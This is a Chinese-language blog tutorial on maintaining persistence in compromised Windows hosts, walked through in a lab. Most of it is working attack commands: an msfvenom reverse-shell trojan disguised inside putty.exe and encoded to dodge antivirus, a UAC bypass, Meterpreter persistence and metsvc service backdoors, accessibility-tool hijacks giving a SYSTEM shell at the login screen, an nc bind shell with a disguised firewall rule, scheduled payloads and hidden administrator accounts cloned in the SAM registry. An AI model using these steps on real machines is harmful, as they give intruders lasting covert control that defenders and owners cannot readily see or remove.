内网渗透-window权限维持

window权限维持

文章目录

  • window权限维持
  • 前言
  • meterpreter权限维持
    • persistence
    • metsvc
  • 系统工具替换后门
    • iexplore.exe
    • narrator
    • osk
    • utilman
    • notepad
    • msf模块
  • 开机自启动注册表项
    • nc后门
    • schtasks
    • 快捷方式劫持
    • 账号隐藏
  • 后记

前言

上期讲完了横向移动后,我们拿到了管理员的权限,当我们离开时,下一次要是还想拿到的是管理员的权限呢,难道我们还要继续一波操作提取啥的吗,其实不然,接下来将是最重要的内容,就是我们的权限维持的操作了,对于后渗透阶段都是至关重要。能节约我们渗透的时间,大家要好好复习和巩固啊。

meterpreter权限维持

meterpreter中的权限维持技术有两种
persistence(注册表后门)
metsvc的后门(服务后门)

persistence

persistence模块(杀软会杀掉)
run persistence -S -U -X -i 5 -p 4444 -r 192.168.231.134 -P windows/meterpreter/reverse_tcp(win10,64位)
windows/meterpreter/reverse_tcp(win7,32位)

这里给大家演示一下persistence模块权限维持的内容。其实就是生成一个脚本和注册表,重启后,就会返回一个会话。这里用win7来做演示吧,虽然说写入注册表了,当重启后还是没有成功。

首先就是用msf生成一个程序,test.exe。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.231.128 lport=4445 -x putty.exe -e x86/shikata_ga_nai -f exe -o test.exe
内网渗透-window权限维持_第1张图片
再将test.exe传入win7中,在msf中监听,这都是老生常谈的东西,大家都要会呀,回到msf中输入
use exploit/multi/handler
set lhost 192.168,231.128
set lport 444
run
这时返回了会话
内网渗透-window权限维持_第2张图片
但这时返回的不是system权限,就不能用这个模块去权限维持,我们能提高权限。
内网渗透-window权限维持_第3张图片
这时,我们使用这个模块进行提权
use exploit/windows/local/bypassuac_eventvwr
内网渗透-window权限维持_第4张图片
我们就成功获取system权限了
内网渗透-window权限维持_第5张图片
接下来进行权限维持
run persistence -S -U -X -i 5 -p 4445 -r 192.168.231.134 -P windows/meterpreter/reverse_tcp
内网渗透-window权限维持_第6张图片
我们可以看到脚本保存在C盘的指定目录下了我们可以查看一下
C:\Users\zhian\AppData\Local\Temp\ALOFCgudR.vbs
内网渗透-window权限维持_第7张图片
shell
dir C:\Users\zhian\AppData\Local\Temp\ALOFCgudR.vbs
内网渗透-window权限维持_第8张图片
我们可以看到已经存在目录中了,我们
再查看一下注册表存在了吗
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SYuKbjqQvEYN
内网渗透-window权限维持_第9张图片
我们可以看到是已经加入了自启项中了,可能是火绒进行了拦截,所以重启后没有成功。这种模块是在没有杀软的时候使用的,要不然会被杀软杀掉的。我们在win03可以看的更清楚一点。
内网渗透-window权限维持_第10张图片
可以看到已经加入注册表中了,但是也是重启之后使用不成功的,感觉这个模块不是很好用。我们看看下一个模块吧。

metsvc

metsvc模块(开机自启的服务型后门,msf集成的去啊你先持久化模块,通过服务启动,服务名是meterpreter,执行端口是31337)
run metsvc -h # 模块信息
run metsvc -A # 启动服务
run metsvc -r #移除服务
内网渗透-window权限维持_第11张图片
内网渗透-window权限维持_第12张图片
run metsvc -A
内网渗透-window权限维持_第13张图片
这时,生成一个metsvc服务,这时一个自启的服务
内网渗透-window权限维持_第14张图片
use exploit/multi/handler
set payload windows/metsvc_bind_tcp(就可以监听到端口服务,返回会话了)

这里也可以用一下脚本进行权限维持(返回会话的时候,就执行脚本的内容),攻击手法大致一样,这里就不在演示了
(3)Autorunscript
获取shell的时候自动执行持续化脚本,可以被Autorunscript执行的命令目录在metasploit/scripts/meterpreter

#persistence
use exploit/multi/handler
set payload winodws/meterpreter/reverse_tcp
set lhost 192.168.231.128
set lport 5555
set ExitOnSession false
set AutoRunScript persistence -r 192.168.231.128 -p 5556 -U -X -i 30(这里设置了每隔30秒返回一个会话)
exploit

#metsvc
use exploit/multi/handler
set payload winodws/meterpreter/reverse_tcp
set lhost 192.168.231.128
set lport 5555
set ExitOnSession false
set AutoRunScript metsvc -A
exploit

系统工具替换后门

(系统辅助工具)
后门原理(必须是管理员权限才可以执行)
设计的注册表项为IFEO,默认是管理员权限和system才有权读写

(启用RDP并获得Administrator权限的主机上实现持久化访问)
下面以修改IE启动程序为例,实现运行IE程序但是启动的却是计算器

  1. 找到注册表“HKLM_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options”目录下的iexplore.exe
  2. 添加一个debugger字符串键值,并且复制为calc.exe的执行路径,“C:\Windows\system32\calc.exe”
  3. 运行iexplore.exe

我来给大家演示一下步骤:
首先,肯定是先获得一个会话。这就是前面通过横向进行的操作了,同时也通过提权获得了最高的权限。

我们在会话中输入shell
内网渗透-window权限维持_第15张图片
解决乱码的问题
chcp 65001

在shell中执行(shell)
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\calc.exe” /f(生成计算器)
内网渗透-window权限维持_第16张图片

iexplore.exe

1)iexplore.exe
打开iexplore.exe程序,就会返回cmd窗口
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\iexplore.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\cmd.exe” /f(cmd窗口)
(/t 指定类型,/v 净值,/d 指定路径)

我们发现已经写入注册表了,就是下面的iexplore.exe程序
内网渗透-window权限维持_第17张图片
我们找到iexplore.exe程序打开
内网渗透-window权限维持_第18张图片
发现是一个计算器,说明修改成功了。
内网渗透-window权限维持_第19张图片

narrator

(2)narrator
挟持讲述人(需要开放远程登录端口rdp,3389)
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\cmd.exe” /f(朗读屏幕内容,讲述人)

原理就是,写入注册表后,打开rdp后,进行远程登录后,未知账号和密码的情况下,打开陈述人的窗口,进行应用,就会返回一个cmd窗口,且是最高权限。

我们先返回一个会话,并且获得是最高的权限,system权限
内网渗透-window权限维持_第20张图片
shell后
chcp 65001
我们写入注册表中
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\narrator.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\cmd.exe” /f
内网渗透-window权限维持_第21张图片
回到win7查看注册表,发现已经写入了,我们试一下是否成功了。
内网渗透-window权限维持_第22张图片
我们重启一下,看看点击讲述人按钮,是否会返回cmd窗口,或者我们在本地开启远程登录连接试一下,在未知账号和密码的情况下。
内网渗透-window权限维持_第23张图片
我们点击左下角的按钮,点击讲述人
在这里插入图片描述
当然这只是测试环节,我们只知道ip情况下,只能远程登录
内网渗透-window权限维持_第24张图片
内网渗透-window权限维持_第25张图片
连接的时候,需要知道计算机的名称和开放3389端口才可以连接。进入之后,同样是一样的结果,而且是最高的权限,就达到了权限维持的效果。

osk

(3)osk
(不适用键盘键入,屏幕键,点击应用)
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\cmd.exe” /f(后面的路径可以修改为所留的后门)
内网渗透-window权限维持_第26张图片
我们成功写入了,查看一下效果
内网渗透-window权限维持_第27张图片
我们在后面设置自己留的后门test1.exe
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe” /t REG_SZ /v Debugger /d “C:\Users\Administrator\Desktop\test1.exe” /f(后门程序,4444)

C:\Users\zhian\Desktop
C:\Users\Administrator\Desktop

发现已经写入了
内网渗透-window权限维持_第28张图片
我们退出会话,重新点击看看,在kali中进行监听,看是否能返回一个会话
内网渗透-window权限维持_第29张图片
实验成功了,当我们点击的时候,就返回了一个会话,以达到权限维持的效果。

utilman

(4)utilman
讲述人挟持,弹出的是一个cmd窗口(点击左下角的选项,直接弹出cmd了)
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe” /t REG_SZ /v Debugger /d “C:\Windows\system32\cmd.exe” /f(可放木马,直接返回会话了)

我们在kali中的会话写入后,我们直接在远程登录那里看一下效果
内网渗透-window权限维持_第30张图片
当我们直接点一下左下角的按钮,就直接弹出cmd窗口了

notepad

(5)notepad(打开记事本,编辑关闭后,就执行了木马程序,返回了会话)
REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe” /v GlobalFlag /t REG_DWORD /d 512

reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v ReporttingMode /t REG_DWORD /d 1

关闭文本时打开木马
reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v MonitorProcess /t REG_SZ /d “C:\Users\zhian\Desktop\test.exe”

reg add “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe” /v MonitorProcess /t REG_SZ /d “C:\Users\Administrator\Desktop\test1.exe”

C:\Users\zhian\Desktop\test.exe
C:\Users\Administrator\Desktop\test1.exe内网渗透-window权限维持_第31张图片
添加成功后,我们看一下是否写入注册表了
内网渗透-window权限维持_第32张图片
写入成功了,我们编译一下,关闭看看
内网渗透-window权限维持_第33张图片
内网渗透-window权限维持_第34张图片
这里如果成功的话,在任务管理器是看的到木马程序的进程的,但是我的看不到,应该是失败了,不过原理就是这样,这里就不演示了。

msf模块

msf框架提供了一个后渗透模块,课实现自动化的利用粘滞键的权限维持技术。改模块将用cmd替换辅助功能的二进制文件(sethc,osk,disk,ultiman)
use post/windows/manage/sticky_keys

当目标主机的屏幕被锁定时,执行ultiman工具将会打开一个cmd窗口(具有system权限的)

开机自启动注册表项

Run(在每次登录时按顺序执行)

nc后门

(1)nc后门
upload /home/zhian/redteamtools/nc.exe C:\windows\system32
shell
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\run
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v nc /t REG_SZ /d “C:\windows\system32\nc.exe -Ldp 5555 -e cmd.exe”
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\run /v nc

execute -f cmd -i -H(也是直接执行shell的命令,与shell同等效果)
netsh firewall show opmode
netsh firewall add portopening TCP 5555 “QQ” ENABLE ALL(开放TCP的5555端口服务)
shutdown -r -f -t 0(重启)

/home/zhian/redteamtools/
C:\windows\system32
C:\windows\system32

schtasks

(2)schtasks计划任务
schtasks /create /sc MINUTE /mo 1 /tr C:\Users\Administrator\Desktop\test1.exe /tn/test
(每隔1分钟执行一次)
每隔1分钟执行一次返回一个会话
内网渗透-window权限维持_第35张图片

快捷方式劫持

(3)快捷方式劫持
Window快捷方式包含对系统上安装的软件或文件位置(网络后本地)的引用。快捷方式文件扩展名是.LNK。

C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item ‘在目标机上的文件的路径’; invoke-item C:\Windows\system32\calc.exe

账号隐藏

(4)后门账号(账号隐藏)
net user administrator$ 123@abc /add && net localhost administrators administrator /add

激活Guest账号
net user guest 123@abc && net localhost administrators guest /add
net user Guest /active:yes
内网渗透-window权限维持_第36张图片
内网渗透-window权限维持_第37张图片
创建Guest用户,加入管理员组并激活了

net user
net user admin$ abc@123 /add
net user admin$
创建admin$用户, 表示隐藏的账号
内网渗透-window权限维持_第38张图片
这里显示已经创建好了

激活来宾账号
net user Guest /active:yes
net user

在用户账号中就可以看到admin 账 号 了 , 加 了 账号了,加了 是个隐藏账号,注册表中也可以看到
导出1.reg,2.reg,3.reg,将3.reg的F值内容替换为2.reg中的F值内容,删除admin$账号,然后导入1.reg,2.reg。
内网渗透-window权限维持_第39张图片

从中可以看到有admin用户了,并且是隐藏的用户,net user是看不到的
内网渗透-window权限维持_第40张图片
net user admin$ /add
net user admin$ /del

我们将admin$导出,导出为1.reg。admin对应的是3ec,导出为2.reg
内网渗透-window权限维持_第41张图片

Administrator对应的是1f4,导出为3.reg
内网渗透-window权限维持_第42张图片
内网渗透-window权限维持_第43张图片
我们将2.reg中的F值的内容替换为3.reg中F值的内容。
内网渗透-window权限维持_第44张图片

net user admin$,发现是存在admin用户的
内网渗透-window权限维持_第45张图片
cd Desktop
regedit /s 1.reg
regedit /s 2.reg
内网渗透-window权限维持_第46张图片
查看了一下管理用户,也没有找到amdin
内网渗透-window权限维持_第47张图片

在注册表中就可以看到admin$的账号了,但是在用户账号中没有显示,被隐藏起来了。大家在做溯源的时候可以多留意一下注册表中的内容。

后记

关于Windows的权限维持的内容就到这里吧,内容有点多,就是一些Window工具以及一些脚本的使用,大家可以一个个去尝试一下,毕竟对于以后工作都是很有帮助的。

你可能感兴趣的:(内网渗透,安全性测试,web安全,安全)